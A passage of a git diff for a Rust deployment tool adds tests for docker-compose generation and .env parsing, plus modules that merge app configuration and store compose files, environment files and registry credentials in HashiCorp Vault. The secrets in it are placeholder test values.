"ENV_VAR1": "value1", + "ENV_VAR2": "value2" + }, + "ports": [ + {"host": 80, "container": 80}, + {"host": 443, "container": 443} + ], + "volumes": [ + {"source": "/data/nginx", "target": "/usr/share/nginx/html"} + ], + "networks": ["my_network"], + "depends_on": ["postgres"], + "labels": { + "traefik.enable": "true" + } + }); + + let compose = generate_single_app_compose("nginx", ¶ms); + assert!(compose.is_ok()); + let content = compose.unwrap(); + + // Verify key elements (using docker_compose_types serialization format) + assert!(content.contains("image: nginx:latest")); + assert!(content.contains("restart: always")); + assert!(content.contains("ENV_VAR1")); + assert!(content.contains("value1")); + assert!(content.contains("80:80")); + assert!(content.contains("443:443")); + assert!(content.contains("/data/nginx:/usr/share/nginx/html")); + assert!(content.contains("my_network")); + assert!(content.contains("postgres")); + assert!(content.contains("traefik.enable")); + + // Test with minimal parameters (just image) + let minimal_params = json!({ + "image": "redis:alpine" + }); + let minimal_compose = generate_single_app_compose("redis", &minimal_params); + assert!(minimal_compose.is_ok()); + let minimal_content = minimal_compose.unwrap(); + assert!(minimal_content.contains("image: redis:alpine")); + assert!(minimal_content.contains("restart: unless-stopped")); // default + assert!(minimal_content.contains("trydirect_network")); // default network + + // Test with no image - should return Err + let no_image_params = json!({ + "env": {"KEY": "value"} + }); + let no_image_compose = generate_single_app_compose("app", &no_image_params); + assert!(no_image_compose.is_err()); + + // Test with string-style ports + let string_ports_params = json!({ + "image": "app:latest", + "ports": ["8080:80", "9000:9000"] + }); + let string_ports_compose = generate_single_app_compose("app", &string_ports_params); + assert!(string_ports_compose.is_ok()); + let string_ports_content = string_ports_compose.unwrap(); + assert!(string_ports_content.contains("8080:80")); + assert!(string_ports_content.contains("9000:9000")); + + // Test with array-style environment variables + let array_env_params = json!({ + "image": "app:latest", + "env": ["KEY1=val1", "KEY2=val2"] + }); + let array_env_compose = generate_single_app_compose("app", &array_env_params); + assert!(array_env_compose.is_ok()); + let array_env_content = array_env_compose.unwrap(); + assert!(array_env_content.contains("KEY1")); + assert!(array_env_content.contains("val1")); + assert!(array_env_content.contains("KEY2")); + assert!(array_env_content.contains("val2")); + + // Test with string-style volumes + let string_vol_params = json!({ + "image": "app:latest", + "volumes": ["/host/path:/container/path", "named_vol:/data"] + }); + let string_vol_compose = generate_single_app_compose("app", &string_vol_params); + assert!(string_vol_compose.is_ok()); + let string_vol_content = string_vol_compose.unwrap(); + assert!(string_vol_content.contains("/host/path:/container/path")); + assert!(string_vol_content.contains("named_vol:/data")); +} + +// ========================================================================= +// Config File Storage and Enrichment Tests +// ========================================================================= + +#[test] +fn test_config_files_extraction_for_bundling() { + // Simulates the logic in store_configs_to_vault_from_params that extracts + // non-compose config files for bundling + fn extract_config_files(params: &serde_json::Value) -> Vec<(String, String)> { + let mut configs = Vec::new(); + + if let Some(files) = params.get("config_files").and_then(|v| v.as_array()) { + for file in files { + let file_name = file.get("name").and_then(|n| n.as_str()).unwrap_or(""); + let content = file.get("content").and_then(|c| c.as_str()).unwrap_or(""); + + // Skip compose files + if super::is_compose_filename(file_name) { + continue; + } + + if !content.is_empty() { + configs.push((file_name.to_string(), content.to_string())); + } + } + } + + configs + } + + let params = json!({ + "app_code": "komodo", + "config_files": [ + {"name": "komodo.env", "content": "ADMIN_EMAIL=test@example.com"}, + {"name": ".env", "content": "SECRET_KEY=abc123"}, + {"name": "docker-compose.yml", "content": "services:\n komodo:"}, + {"name": "config.toml", "content": "[server]\nport = 8080"} + ] + }); + + let configs = extract_config_files(¶ms); + + // Should have 3 non-compose configs + assert_eq!(configs.len(), 3); + + let names: Vec<&str> = configs.iter().map(|(n, _)| n.as_str()).collect(); + assert!(names.contains(&"komodo.env")); + assert!(names.contains(&".env")); + assert!(names.contains(&"config.toml")); + assert!(!names.contains(&"docker-compose.yml")); +} + +#[test] +fn test_config_bundle_json_creation() { + // Test that config files can be bundled into a JSON array format + // similar to what store_configs_to_vault_from_params does + let app_configs: Vec<(&str, &str, &str)> = vec![ + ( + "telegraf.conf", + "[agent]\n interval = \"10s\"", + "/home/trydirect/hash123/config/telegraf.conf", + ), + ( + "nginx.conf", + "server { listen 80; }", + "/home/trydirect/hash123/config/nginx.conf", + ), + ]; + + let configs_json: Vec = app_configs + .iter() + .map(|(name, content, dest)| { + json!({ + "name": name, + "content": content, + "content_type": "text/plain", + "destination_path": dest, + "file_mode": "0644", + "owner": null, + "group": null, + }) + }) + .collect(); + + let bundle_json = serde_json::to_string(&configs_json).unwrap(); + + // Verify structure + let parsed: Vec = serde_json::from_str(&bundle_json).unwrap(); + assert_eq!(parsed.len(), 2); + + // Verify all fields present + for config in &parsed { + assert!(config.get("name").is_some()); + assert!(config.get("content").is_some()); + assert!(config.get("destination_path").is_some()); + assert!(config.get("file_mode").is_some()); + } +} + +#[test] +fn test_config_files_merge_with_existing() { + // Test that existing config_files are preserved when merging with Vault configs + fn merge_config_files( + existing: Option<&Vec>, + vault_configs: Vec, + ) -> Vec { + let mut config_files: Vec = Vec::new(); + + if let Some(existing_configs) = existing { + config_files.extend(existing_configs.iter().cloned()); + } + + config_files.extend(vault_configs); + config_files + } + + let existing = vec![json!({"name": "custom.conf", "content": "custom config"})]; + + let vault_configs = vec![ + json!({"name": "telegraf.env", "content": "INFLUX_TOKEN=xxx"}), + json!({"name": "app.conf", "content": "config from vault"}), + ]; + + let merged = merge_config_files(Some(&existing), vault_configs); + + assert_eq!(merged.len(), 3); + + let names: Vec<&str> = merged + .iter() + .filter_map(|c| c.get("name").and_then(|n| n.as_str())) + .collect(); + assert!(names.contains(&"custom.conf")); + assert!(names.contains(&"telegraf.env")); + assert!(names.contains(&"app.conf")); +} + +#[test] +fn test_env_file_destination_path_format() { + // Verify .env files have correct destination paths + let deployment_hash = "abc123xyz"; + let app_code = "komodo"; + + // Expected format from config_renderer.rs + let env_dest_path = format!("/home/trydirect/{}/{}.env", deployment_hash, app_code); + + assert_eq!(env_dest_path, "/home/trydirect/abc123xyz/komodo.env"); + + // Alternative format for deployment-level .env + let global_env_path = format!("/home/trydirect/{}/.env", deployment_hash); + assert_eq!(global_env_path, "/home/trydirect/abc123xyz/.env"); +} + +#[test] +fn test_vault_key_generation() { + // Test that correct Vault keys are generated for different config types + let app_code = "komodo"; + + // Compose key + let compose_key = app_code.to_string(); + assert_eq!(compose_key, "komodo"); + + // Env key + let env_key = format!("{}_env", app_code); + assert_eq!(env_key, "komodo_env"); + + // Configs bundle key + let configs_key = format!("{}_configs", app_code); + assert_eq!(configs_key, "komodo_configs"); + + // Legacy single config key + let config_key = format!("{}_config", app_code); + assert_eq!(config_key, "komodo_config"); +} + +#[test] +fn test_config_content_types() { + use super::vault::detect_content_type; + + assert_eq!(detect_content_type("config.json"), "application/json"); + assert_eq!(detect_content_type("docker-compose.yml"), "text/yaml"); + assert_eq!(detect_content_type("config.yaml"), "text/yaml"); + assert_eq!(detect_content_type("config.toml"), "text/toml"); + assert_eq!(detect_content_type("nginx.conf"), "text/plain"); + assert_eq!(detect_content_type("app.env"), "text/plain"); + assert_eq!(detect_content_type(".env"), "text/plain"); + assert_eq!(detect_content_type("unknown"), "text/plain"); +} + +#[test] +fn test_multiple_env_files_in_bundle() { + // Test handling of multiple .env-like files (app.env, .env.j2, etc.) + let config_files = vec![ + json!({ + "name": "komodo.env", + "content": "ADMIN_EMAIL=admin@test.com\nSECRET_KEY=abc", + "destination_path": "/home/trydirect/hash123/komodo.env" + }), + json!({ + "name": ".env", + "content": "DATABASE_URL=postgres://...", + "destination_path": "/home/trydirect/hash123/.env" + }), + json!({ + "name": "custom.env.j2", + "content": "{{ variable }}", + "destination_path": "/home/trydirect/hash123/custom.env" + }), + ]; + + // All should be valid config files + assert_eq!(config_files.len(), 3); + + // Each should have required fields + for config in &config_files { + assert!(config.get("name").is_some()); + assert!(config.get("content").is_some()); + assert!(config.get("destination_path").is_some()); + } +} + +#[test] +fn test_env_generation_from_params_env() { + // Test that .env content can be generated from params.env object + // This mimics the logic in store_configs_to_vault_from_params + fn generate_env_from_params(params: &serde_json::Value) -> Option { + params + .get("env") + .and_then(|v| v.as_object()) + .and_then(|env_obj| { + if env_obj.is_empty() { + return None; + } + let env_lines: Vec = env_obj + .iter() + .map(|(k, v)| { + let val = match v { + serde_json::Value::String(s) => s.clone(), + other => other.to_string(), + }; + format!("{}={}", k, val) + }) + .collect(); + Some(env_lines.join("\n")) + }) + } + + // Test with string values + let params1 = json!({ + "app_code": "komodo", + "env": { + "DATABASE_URL": "postgres://localhost:5432/db", + "SECRET_KEY": "abc123", + "DEBUG": "false" + } + }); + let env1 = generate_env_from_params(¶ms1); + assert!(env1.is_some()); + let content1 = env1.unwrap(); + assert!(content1.contains("DATABASE_URL=postgres://localhost:5432/db")); + assert!(content1.contains("SECRET_KEY=abc123")); + assert!(content1.contains("DEBUG=false")); + + // Test with non-string values (numbers, bools) + let params2 = json!({ + "app_code": "app", + "env": { + "PORT": 8080, + "DEBUG": true + } + }); + let env2 = generate_env_from_params(¶ms2); + assert!(env2.is_some()); + let content2 = env2.unwrap(); + assert!(content2.contains("PORT=8080")); + assert!(content2.contains("DEBUG=true")); + + // Test with empty env + let params3 = json!({ + "app_code": "app", + "env": {} + }); + let env3 = generate_env_from_params(¶ms3); + assert!(env3.is_none()); + + // Test with missing env + let params4 = json!({ + "app_code": "app" + }); + let env4 = generate_env_from_params(¶ms4); + assert!(env4.is_none()); +} + +#[test] +fn test_env_file_extraction_from_config_files() { + // Test that .env files are properly extracted from config_files + // This mimics the logic in store_configs_to_vault_from_params + fn extract_env_from_config_files(params: &serde_json::Value) -> Option { + params + .get("config_files") + .and_then(|v| v.as_array()) + .and_then(|files| { + files.iter().find_map(|file| { + let file_name = file.get("name").and_then(|n| n.as_str()).unwrap_or(""); + if file_name == ".env" || file_name == "env" { + file.get("content") + .and_then(|c| c.as_str()) + .map(|s| s.to_string()) + } else { + None + } + }) + }) + } + + // Test with .env file in config_files + let params1 = json!({ + "app_code": "komodo", + "config_files": [ + {"name": ".env", "content": "SECRET=xyz\nDEBUG=true"}, + {"name": "compose", "content": "services: ..."} + ] + }); + let env1 = extract_env_from_config_files(¶ms1); + assert!(env1.is_some()); + assert!(env1.unwrap().contains("SECRET=xyz")); + + // Test with "env" name variant + let params2 = json!({ + "app_code": "app", + "config_files": [ + {"name": "env", "content": "VAR=value"} + ] + }); + let env2 = extract_env_from_config_files(¶ms2); + assert!(env2.is_some()); + + // Test without .env file + let params3 = json!({ + "app_code": "app", + "config_files": [ + {"name": "config.toml", "content": "[server]"} + ] + }); + let env3 = extract_env_from_config_files(¶ms3); + assert!(env3.is_none()); +} +/// Test: .env config file content is parsed into project_app.environment +/// This is the CRITICAL fix for the bug where user-edited .env files were not saved +#[test] +fn test_env_config_file_parsed_into_environment() { + // User data from the bug report - env is empty but .env config file has content + let params = json!({ + "env": {}, // Empty - user didn't use the form fields + "config_files": [ + { + "name": ".env", + "content": "# Core config\nKOMODO_FIRST_SERVER: http://periphery:8120\nKOMODO_DATABASE_ADDRESS: ferretdb\nKOMODO_ENABLE_NEW_USERS: true\nKOMODO_LOCAL_AUTH: true\nKOMODO_JWT_SECRET: a_random_secret", + "variables": {} + }, + { + "name": "compose", + "content": "services:\n core:\n image: trydirect/komodo-core:unstable", + "variables": {} + } + ] + }); + + let (app, compose_content) = project_app_from_post("komodo", 1, ¶ms); + + // Environment should be populated from .env config file + assert!( + app.environment.is_some(), + "environment should be parsed from .env file" + ); + let env = app.environment.as_ref().unwrap(); + + // Check individual vars were parsed (YAML-like KEY: value format) + assert_eq!( + env.get("KOMODO_FIRST_SERVER").and_then(|v| v.as_str()), + Some("http://periphery:8120"), + "KOMODO_FIRST_SERVER should be parsed" + ); + assert_eq!( + env.get("KOMODO_DATABASE_ADDRESS").and_then(|v| v.as_str()), + Some("ferretdb"), + "KOMODO_DATABASE_ADDRESS should be parsed" + ); + assert_eq!( + env.get("KOMODO_JWT_SECRET").and_then(|v| v.as_str()), + Some("a_random_secret"), + "KOMODO_JWT_SECRET should be parsed" + ); + + // Compose content should also be extracted + assert!(compose_content.is_some()); + assert!(compose_content.as_ref().unwrap().contains("komodo-core")); +} + +/// Test: Standard KEY=value .env format +#[test] +fn test_env_config_file_standard_format() { + let params = json!({ + "env": {}, + "config_files": [ + { + "name": ".env", + "content": "# Database\nDB_HOST=localhost\nDB_PORT=5432\nDB_PASSWORD=secret123\nDEBUG=true", + "variables": {} + } + ] + }); + + let (app, _) = project_app_from_post("myapp", 1, ¶ms); + + assert!(app.environment.is_some()); + let env = app.environment.as_ref().unwrap(); + + assert_eq!( + env.get("DB_HOST").and_then(|v| v.as_str()), + Some("localhost") + ); + assert_eq!(env.get("DB_PORT").and_then(|v| v.as_str()), Some("5432")); + assert_eq!( + env.get("DB_PASSWORD").and_then(|v| v.as_str()), + Some("secret123") + ); + assert_eq!(env.get("DEBUG").and_then(|v| v.as_str()), Some("true")); +} + +/// Test: params.env takes precedence over .env config file +#[test] +fn test_params_env_takes_precedence() { + let params = json!({ + "env": { + "MY_VAR": "from_form" + }, + "config_files": [ + { + "name": ".env", + "content": "MY_VAR=from_file\nOTHER_VAR=value", + "variables": {} + } + ] + }); + + let (app, _) = project_app_from_post("myapp", 1, ¶ms); + + assert!(app.environment.is_some()); + let env = app.environment.as_ref().unwrap(); + + // Form values take precedence + assert_eq!( + env.get("MY_VAR").and_then(|v| v.as_str()), + Some("from_form") + ); + // Other vars from file should NOT be included (form env is used entirely) + assert!(env.get("OTHER_VAR").is_none()); +} + +/// Test: Empty .env file doesn't set environment +#[test] +fn test_empty_env_file_ignored() { + let params = json!({ + "env": {}, + "config_files": [ + { + "name": ".env", + "content": "# Just comments\n\n", + "variables": {} + } + ] + }); + + let (app, _) = project_app_from_post("myapp", 1, ¶ms); + + // No environment should be set since .env file only has comments + assert!( + app.environment.is_none() + || app + .environment + .as_ref() + .map(|e| e.as_object().map(|o| o.is_empty()).unwrap_or(true)) + .unwrap_or(true), + "empty .env file should not set environment" + ); +} + +/// Test: Custom config files (telegraf.conf, etc.) are preserved in project_app.labels +#[test] +fn test_custom_config_files_saved_to_labels() { + let params = json!({ + "env": {}, + "config_files": [ + { + "name": "telegraf.conf", + "content": "[agent]\n interval = \"10s\"\n flush_interval = \"10s\"", + "variables": {}, + "destination_path": "/etc/telegraf/telegraf.conf" + }, + { + "name": "nginx.conf", + "content": "server {\n listen 80;\n server_name example.com;\n}", + "variables": {} + }, + { + "name": ".env", + "content": "DB_HOST=localhost\nDB_PORT=5432", + "variables": {} + }, + { + "name": "compose", + "content": "services:\n app:\n image: myapp:latest", + "variables": {} + } + ] + }); + + let (app, compose_content) = project_app_from_post("myapp", 1, ¶ms); + + // Compose should be extracted + assert!(compose_content.is_some()); + assert!(compose_content.as_ref().unwrap().contains("myapp:latest")); + + // Environment should be parsed from .env + assert!(app.environment.is_some()); + let env = app.environment.as_ref().unwrap(); + assert_eq!( + env.get("DB_HOST").and_then(|v| v.as_str()), + Some("localhost") + ); + + // Config files should be stored in labels (excluding compose, including .env and others) + assert!(app.labels.is_some(), "labels should be set"); + let labels = app.labels.as_ref().unwrap(); + let config_files = labels + .get("config_files") + .expect("config_files should be in labels"); + let files = config_files + .as_array() + .expect("config_files should be an array"); + + // Should have 3 files: telegraf.conf, nginx.conf, .env (compose is extracted separately) + assert_eq!(files.len(), 3, "should have 3 config files in labels"); + + let file_names: Vec<&str> = files + .iter() + .filter_map(|f| f.get("name").and_then(|n| n.as_str())) + .collect(); + + assert!( + file_names.contains(&"telegraf.conf"), + "telegraf.conf should be preserved" + ); + assert!( + file_names.contains(&"nginx.conf"), + "nginx.conf should be preserved" + ); + assert!(file_names.contains(&".env"), ".env should be preserved"); + assert!( + !file_names.contains(&"compose"), + "compose should NOT be in config_files" + ); + + // Verify content is preserved + let telegraf_file = files + .iter() + .find(|f| f.get("name").and_then(|n| n.as_str()) == Some("telegraf.conf")) + .unwrap(); + let telegraf_content = telegraf_file + .get("content") + .and_then(|c| c.as_str()) + .unwrap(); + assert!( + telegraf_content.contains("interval = \"10s\""), + "telegraf.conf content should be preserved" + ); +} diff --git a/stacker/stacker/src/project_app/upsert.rs b/stacker/stacker/src/project_app/upsert.rs new file mode 100644 index 0000000..60c9da7 --- /dev/null +++ b/stacker/stacker/src/project_app/upsert.rs @@ -0,0 +1,232 @@ +use std::sync::Arc; + +use crate::services::{ProjectAppService, VaultService}; + +use super::{ + is_platform_managed_app_code, merge_project_app, project_app_from_post, + store_configs_to_vault_from_params, +}; + +/// Upsert app config and sync to Vault for deploy_app +/// +/// IMPORTANT: This function merges incoming parameters with existing app data. +/// If the app already exists, only non-null incoming fields will override existing values. +/// This prevents deploy_app commands with minimal params from wiping out saved config. +pub(crate) async fn upsert_app_config_for_deploy( + pg_pool: &sqlx::PgPool, + deployment_id: i32, + app_code: &str, + parameters: &serde_json::Value, + deployment_hash: &str, +) { + if is_platform_managed_app_code(app_code) { + tracing::info!( + "[UPSERT_APP_CONFIG] Skipping platform-managed app code: {}", + app_code + ); + return; + } + + tracing::info!( + "[UPSERT_APP_CONFIG] START - deployment_id: {}, app_code: {}, deployment_hash: {}", + deployment_id, + app_code, + deployment_hash + ); + tracing::info!( + "[UPSERT_APP_CONFIG] Parameters summary - has_env: {}, config_files: {}, has_image: {}", + parameters.get("env").is_some(), + parameters + .get("config_files") + .and_then(|value| value.as_array()) + .map(|files| files.len()) + .unwrap_or(0), + parameters.get("image").is_some() + ); + + // Resolve the actual deployment record ID from deployment_hash + // (deployment_id parameter is actually project_id in the current code) + let actual_deployment_id = + match crate::db::deployment::fetch_by_deployment_hash(pg_pool, deployment_hash).await { + Ok(Some(dep)) => { + tracing::info!( + "[UPSERT_APP_CONFIG] Resolved deployment.id={} from hash={}", + dep.id, + deployment_hash + ); + Some(dep.id) + } + Ok(None) => { + tracing::warn!( + "[UPSERT_APP_CONFIG] No deployment found for hash={}, deployment_id will be NULL", + deployment_hash + ); + None + } + Err(e) => { + tracing::warn!( + "[UPSERT_APP_CONFIG] Failed to resolve deployment for hash={}: {}", + deployment_hash, + e + ); + None + } + }; + + // Fetch project from DB + let project = match crate::db::project::fetch(pg_pool, deployment_id).await { + Ok(Some(p)) => { + tracing::info!( + "[UPSERT_APP_CONFIG] Found project id={}, name={}", + p.id, + p.name + ); + p + } + Ok(None) => { + tracing::warn!( + "[UPSERT_APP_CONFIG] Project not found for deployment_id: {}", + deployment_id + ); + return; + } + Err(e) => { + tracing::warn!("[UPSERT_APP_CONFIG] Failed to fetch project: {}", e); + return; + } + }; + + // Create app service + let app_service = match ProjectAppService::new(Arc::new(pg_pool.clone())) { + Ok(s) => s, + Err(e) => { + tracing::warn!( + "[UPSERT_APP_CONFIG] Failed to create ProjectAppService: {}", + e + ); + return; + } + }; + + // Check if app already exists and merge with existing data + let (project_app, compose_content) = match app_service.get_by_code(project.id, app_code).await { + Ok(existing_app) => { + tracing::info!( + "[UPSERT_APP_CONFIG] App {} exists (id={}, image={}), merging with incoming parameters", + app_code, + existing_app.id, + existing_app.image + ); + // Merge incoming parameters with existing app data + let (incoming_app, compose_content) = + project_app_from_post(app_code, project.id, parameters); + tracing::info!( + "[UPSERT_APP_CONFIG] Incoming app parsed - image: {}, env: {:?}", + incoming_app.image, + incoming_app.environment + ); + let merged = merge_project_app(existing_app, incoming_app); + tracing::info!( + "[UPSERT_APP_CONFIG] Merged app - image: {}, env: {:?}", + merged.image, + merged.environment + ); + (merged, compose_content) + } + Err(e) => { + tracing::info!( + "[UPSERT_APP_CONFIG] App {} does not exist ({}), creating from parameters", + app_code, + e + ); + let (new_app, compose_content) = + project_app_from_post(app_code, project.id, parameters); + tracing::info!( + "[UPSERT_APP_CONFIG] New app parsed - image: {}, env: {:?}, compose_content: {}", + new_app.image, + new_app.environment, + compose_content.is_some() + ); + (new_app, compose_content) + } + }; + + // Log final project_app before upsert + tracing::info!( + "[UPSERT_APP_CONFIG] Final project_app - code: {}, name: {}, image: {}, env: {:?}, deployment_id: {:?}", + project_app.code, + project_app.name, + project_app.image, + project_app.environment, + project_app.deployment_id + ); + + // Set deployment_id on the app to scope it to this specific deployment + let mut project_app = project_app; + if project_app.deployment_id.is_none() { + project_app.deployment_id = actual_deployment_id; + } + + // Upsert app config and sync to Vault + match app_service + .upsert(&project_app, &project, deployment_hash) + .await + { + Ok(saved) => tracing::info!( + "[UPSERT_APP_CONFIG] SUCCESS - App {} saved with id={}, synced to Vault", + app_code, + saved.id + ), + Err(e) => tracing::error!( + "[UPSERT_APP_CONFIG] FAILED to upsert app {}: {}", + app_code, + e + ), + } + + // If config files or env were provided in parameters, ensure they are stored to Vault + // This captures raw .env content from config_files for Status Panel deploys. + if parameters.get("config_files").is_some() || parameters.get("env").is_some() { + if let Ok(settings) = crate::configuration::get_configuration() { + store_configs_to_vault_from_params( + parameters, + deployment_hash, + app_code, + &settings.vault, + &settings.deployment, + ) + .await; + } else { + tracing::warn!("Failed to load configuration for Vault config storage"); + } + } + + // Store compose_content in Vault separately if provided + if let Some(compose) = compose_content { + let vault_settings = crate::configuration::get_configuration() + .map(|s| s.vault) + .ok(); + if let Some(vault_settings) = vault_settings { + match VaultService::from_settings(&vault_settings) { + Ok(vault) => { + let config = crate::services::AppConfig { + content: compose, + content_type: "text/yaml".to_string(), + destination_path: format!("/app/{}/docker-compose.yml", app_code), + file_mode: "0644".to_string(), + owner: None, + group: None, + }; + match vault + .store_app_config(deployment_hash, app_code, &config) + .await + { + Ok(_) => tracing::info!("Compose content stored in Vault for {}", app_code), + Err(e) => tracing::warn!("Failed to store compose in Vault: {}", e), + } + } + Err(e) => tracing::warn!("Failed to initialize Vault for compose storage: {}", e), + } + } + } +} diff --git a/stacker/stacker/src/project_app/vault.rs b/stacker/stacker/src/project_app/vault.rs new file mode 100644 index 0000000..d1291a6 --- /dev/null +++ b/stacker/stacker/src/project_app/vault.rs @@ -0,0 +1,437 @@ +use crate::configuration::{DeploymentSettings, VaultSettings}; +use crate::forms::project::RegistryForm; +use crate::forms::status_panel::RegistryAuthCommandRequest; +use crate::helpers::project::builder::generate_single_app_compose; +use crate::services::{AppConfig, VaultService}; + +pub(crate) const REGISTRY_AUTH_VAULT_KEY: &str = "_registry_auth"; + +pub(crate) fn registry_auth_from_form( + registry: &RegistryForm, +) -> Option { + let username = registry.docker_username.as_deref()?.trim(); + let password = registry.docker_password.as_deref()?.trim(); + if username.is_empty() || password.is_empty() { + return None; + } + + let server = registry + .docker_registry + .as_deref() + .map(str::trim) + .filter(|value| !value.is_empty()) + .unwrap_or("docker.io"); + + Some(RegistryAuthCommandRequest { + registry: server.to_string(), + username: username.to_string(), + password: password.to_string(), + }) +} + +pub(crate) fn registry_auth_to_vault_config( + auth: &RegistryAuthCommandRequest, +) -> Result { + Ok(AppConfig { + content: serde_json::to_string(auth)?, + content_type: "application/json".to_string(), + destination_path: "/app/.registry-auth.json".to_string(), + file_mode: "0600".to_string(), + owner: None, + group: None, + }) +} + +pub(crate) fn parse_registry_auth_config( + config: &AppConfig, +) -> Result { + serde_json::from_str(&config.content) +} + +pub(crate) async fn store_registry_auth_to_vault( + deployment_hash: &str, + registry: &RegistryForm, + vault_settings: &VaultSettings, +) { + let Some(auth) = registry_auth_from_form(registry) else { + return; + }; + + store_registry_auth_command_to_vault(deployment_hash, &auth, vault_settings).await; +} + +pub(crate) async fn store_registry_auth_command_to_vault( + deployment_hash: &str, + auth: &RegistryAuthCommandRequest, + vault_settings: &VaultSettings, +) { + if auth.username.trim().is_empty() || auth.password.trim().is_empty() { + return; + } + + let vault = match VaultService::from_settings(vault_settings) { + Ok(v) => v, + Err(e) => { + tracing::warn!( + "Failed to initialize Vault for registry auth storage: {}", + e + ); + return; + } + }; + + let config = match registry_auth_to_vault_config(&auth) { + Ok(config) => config, + Err(e) => { + tracing::warn!("Failed to serialize registry auth for Vault: {}", e); + return; + } + }; + + match vault + .store_app_config(deployment_hash, REGISTRY_AUTH_VAULT_KEY, &config) + .await + { + Ok(_) => tracing::info!( + deployment_hash = %deployment_hash, + "Stored registry auth in Vault for later agent pulls" + ), + Err(e) => tracing::warn!( + deployment_hash = %deployment_hash, + error = %e, + "Failed to store registry auth in Vault" + ), + } +} + +/// Extract compose content and config files from parameters and store to Vault +/// Used when deployment_id is not available but config_files contains compose/configs +/// Falls back to generating compose from params if no compose file is provided +pub(crate) async fn store_configs_to_vault_from_params( + params: &serde_json::Value, + deployment_hash: &str, + app_code: &str, + vault_settings: &VaultSettings, + deployment_settings: &DeploymentSettings, +) { + let vault = match VaultService::from_settings(vault_settings) { + Ok(v) => v, + Err(e) => { + tracing::warn!("Failed to initialize Vault: {}", e); + return; + } + }; + + let config_base_path = &deployment_settings.config_base_path; + + // Process config_files array + let config_files = params.get("config_files").and_then(|v| v.as_array()); + + let mut compose_content: Option = None; + let mut env_content: Option = None; + let mut app_configs: Vec<(String, AppConfig)> = Vec::new(); + + if let Some(files) = config_files { + for file in files { + let file_name = get_str(file, "name").unwrap_or(""); + let content = get_str(file, "content").unwrap_or(""); + + if is_legacy_env_file(file) { + env_content = Some(content.to_string()); + continue; + } + + if content.is_empty() { + continue; + } + + let content_type = get_str(file, "content_type") + .map(|s| s.to_string()) + .unwrap_or_else(|| detect_content_type(file_name).to_string()); + + if is_compose_file(file_name, &content_type) { + compose_content = Some(content.to_string()); + + let compose_filename = normalize_compose_filename(file_name); + let destination_path = resolve_destination_path( + file, + format!("{}/{}/{}", config_base_path, app_code, compose_filename), + ); + + let compose_type = if content_type == "text/plain" { + "text/yaml".to_string() + } else { + content_type + }; + + let config = + build_app_config(content, compose_type, destination_path, file, "0644"); + + app_configs.push((compose_filename, config)); + continue; + } + + let destination_path = resolve_destination_path( + file, + format!("{}/{}/{}", config_base_path, app_code, file_name), + ); + let config = build_app_config(content, content_type, destination_path, file, "0644"); + + app_configs.push((file_name.to_string(), config)); + } + } + + // Fall back to generating compose from params if not found in config_files + if compose_content.is_none() { + tracing::info!( + "No compose in config_files, generating from params for app_code: {}", + app_code + ); + compose_content = generate_single_app_compose(app_code, params).ok(); + } + + // Generate .env from params.env if not found in config_files + if env_content.is_none() { + if let Some(env_obj) = params.get("env").and_then(|v| v.as_object()) { + if !env_obj.is_empty() { + let env_lines: Vec = env_obj + .iter() + .map(|(k, v)| { + let val = match v { + serde_json::Value::String(s) => s.clone(), + other => other.to_string(), + }; + format!("{}={}", k, val) + }) + .collect(); + env_content = Some(env_lines.join("\n")); + tracing::info!( + "Generated .env from params.env with {} variables for app_code: {}", + env_obj.len(), + app_code + ); + } + } + } + + // Store compose to Vault with correct destination path + if let Some(compose) = compose_content { + tracing::info!( + "Storing compose to Vault for deployment_hash: {}, app_code: {}", + deployment_hash, + app_code + ); + let config = AppConfig { + content: compose, + content_type: "text/yaml".to_string(), + // Use config_base_path for consistent deployment root path + destination_path: format!("{}/{}/docker-compose.yml", config_base_path, app_code), + file_mode: "0644".to_string(), + owner: None, + group: None, + }; + match vault + .store_app_config(deployment_hash, app_code, &config) + .await + { + Ok(_) => tracing::info!("Compose content stored in Vault for {}", app_code), + Err(e) => tracing::warn!("Failed to store compose in Vault: {}", e), + } + } else { + tracing::warn!( + "Could not extract or generate compose for app_code: {} - missing image parameter", + app_code + ); + } + + // Store .env to Vault under "{app_code}_env" key + if let Some(env) = env_content { + let env_key = format!("{}_env", app_code); + tracing::info!( + "Storing .env to Vault for deployment_hash: {}, key: {}", + deployment_hash, + env_key + ); + let config = AppConfig { + content: env, + content_type: "text/plain".to_string(), + // Path must match docker-compose env_file: "/home/trydirect/{app_code}/.env" + destination_path: format!("{}/{}/.env", config_base_path, app_code), + file_mode: "0600".to_string(), + owner: None, + group: None, + }; + match vault + .store_app_config(deployment_hash, &env_key, &config) + .await + { + Ok(_) => tracing::info!(".env stored in Vault under key {}", env_key), + Err(e) => tracing::warn!("Failed to store .env in Vault: {}", e), + } + } + + // Store app config files to Vault under "{app_code}_configs" key as a JSON array + // This preserves multiple config files without overwriting + if !app_configs.is_empty() { + let configs_json: Vec = app_configs + .iter() + .map(|(name, cfg)| { + serde_json::json!({ + "name": name, + "content": cfg.content, + "content_type": cfg.content_type, + "destination_path": cfg.destination_path, + "file_mode": cfg.file_mode, + "owner": cfg.owner, + "group": cfg.group, + }) + }) + .collect(); + + let config_key = format!("{}_configs", app_code); + tracing::info!( + "Storing {} app config files to Vault: deployment_hash={}, key={}", + configs_json.len(), + deployment_hash, + config_key + ); + + // Store as a bundle config with JSON content + let bundle_config = AppConfig { + content: serde_json::to_string(&configs_json).unwrap_or_default(), + content_type: "application/json".to_string(), + destination_path: format!("/app/{}/configs.json", app_code), + file_mode: "0644".to_string(), + owner: None, + group: None, + }; + + match vault + .store_app_config(deployment_hash, &config_key, &bundle_config) + .await + { + Ok(_) => tracing::info!("App config bundle stored in Vault for {}", config_key), + Err(e) => tracing::warn!("Failed to store app config bundle in Vault: {}", e), + } + } +} + +fn is_env_filename(file_name: &str) -> bool { + matches!(file_name, ".env" | "env") +} + +fn is_legacy_env_file(file: &serde_json::Value) -> bool { + let Some(file_name) = get_str(file, "name") else { + return false; + }; + if !is_env_filename(file_name) { + return false; + } + + let destination = get_str(file, "destination_path") + .map(str::trim) + .filter(|value| !value.is_empty()); + + !matches!( + destination, + Some(path) if path.starts_with("/opt/stacker/deployments/") + ) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn registry_auth_from_form_defaults_registry_to_docker_io() { + let registry = RegistryForm { + docker_username: Some("optimum".to_string()), + docker_password: Some("secret".to_string()), + docker_registry: None, + }; + + let auth = registry_auth_from_form(®istry).expect("registry auth should resolve"); + assert_eq!(auth.registry, "docker.io"); + assert_eq!(auth.username, "optimum"); + assert_eq!(auth.password, 